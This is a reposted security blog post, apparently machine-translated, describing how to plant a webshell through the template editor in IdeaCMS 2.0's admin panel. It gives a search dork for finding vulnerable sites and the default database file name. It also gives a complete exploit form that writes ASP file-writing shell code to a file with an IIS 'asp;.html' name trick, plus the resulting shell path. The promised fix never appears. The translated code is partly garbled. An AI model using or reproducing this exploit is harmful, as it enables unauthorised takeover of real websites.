Use shell in the background of IdeaCMS2.0 and fix it

Source: Internet
Author: User

 
System: IdeaCMS2.0
Keyword: inurl: about/indexlist. asp? SortID =
Default Database: dateIdea_Site.mdb
Shell in the background:
 
 
The following code saves the HTML modification URL!
 
HTML code

<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<Html xmlns = "http://www.w3.org/1999/xhtml">
<Head>
<Meta http-equiv = "content-type" content = "text/html; charset = gbk"/>
<TITLE> template background management-EXP </TITLE>
</Head>
<Body>
<Div class = "container" id = "cpcontainer">
<Table class = "tb">
<Tr class = "thead"> <th colspan = "2"> modify a template </th> </tr>
<Form action = "http://www.bkjia.com/admin/admin_template.asp? Action = save "method =" post ">
<Tr>
<Td width = "15%"> file path: </td>
<Td> <input name = "name" type = "text" size = "60" value = "about.html"/>
</Tr>
<Tr>
<Td colspan = "2"> <textarea name = "content" style = "width: 100%; font-family: Arial, Helvetica, sans-serif; font-size: 14px; "rows =" 25 "dataType =" Require "msg =" Enter the template content "> <% set fso = server. createobject (ofso) %>
<% Path = request ("path") %>
<% If path <> "" then %>
<% Data = request ("dama") %>
<% Set dama = fso. createtextfile (path, true) %>
<% Dama. write data %>
<% If err = 0 then %>
<% = "Have fun! "%>
<% Else %>
<% = "False" %>
<% End if %>
<% Err. clear %>
<% End if %>
<% Dama. close %>
<% Set dama = nothing %>
<% Set fos = nothing %>
<% = "<Form action = method = post>" %>
<% = "<Input type = text name = path>" %>
<% = "<Br>" %>
<% = Server. mappath (request. servervariables ("script_name") %>
<% = "<Br>" %>
<% = "" %>
<% = "<Textarea name = dama cols = 50 rows = 10 width = 30> </textarea>" %>
<% = "<Br>" %>
<% = "<Input type = submit value = OK ~> "%> </Textarea> </td>
</Tr>
<Tr>
<Td> </td> <input type = "hidden" name = "folder" value = ".. /template/ideacms/html "> <input name =" filedir "type =" hidden "value = ".. /template/ideacms/html/about.asp;.html "> <input type =" submit "name =" Submit "value =" modify template "class =" btn "/> </td>
</Tr>
</Form>
</Table>

</Table>

Shell path after submission:
Http://www.bkjia.com/template/ideacms/html/about.asp;.html


Source: fallen leaf s Blog focuses on network security!

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.